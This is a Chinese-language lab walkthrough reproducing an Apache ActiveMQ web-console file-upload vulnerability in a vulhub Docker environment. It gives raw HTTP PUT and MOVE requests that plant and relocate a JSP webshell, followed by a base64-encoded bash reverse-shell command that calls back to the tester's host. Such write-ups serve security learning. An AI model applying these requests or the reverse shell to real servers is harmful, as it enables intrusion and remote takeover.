1. 环境搭建
使用vulhub的配置执行命令:docker-compose up -d 一键启动漏洞环境
环境监听61616端口和8161端口,其中8161是web控制台端口。此漏洞出现在 Web 控制台中。
访问http://your-ip:8161/查看网页,说明环境已经运行成功。默认的 ActiveMQ 帐户和密码是admin。
2. 漏洞复现
首先我们先访问http://your-ip:8161/admin/test/systemProperties.jsp,来查看绝对路径。
之后需要使用Burp进行改包,进行上传Webshell操作。
配置好代理后,进行拦截并更改数据包。
#先上传webshell。
PUT /fileserver/3.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 124095
此处写入WebShell
#之后移动webshell文件。
MOVE /fileserver/3.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/3.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
PS:前两次尝试上传冰蝎马和小马,冰蝎无法连接,直接访问发现或出现报错或空白页面。
2.2 尝试反弹shell
kali监听9876端口
在WebShell中执行命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjE5NS85ODc2IDA+JjEg}|{base64,-d}|{bash,-i}
#经过测试,反弹shell的命令需要进行加密。
#命令在线加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html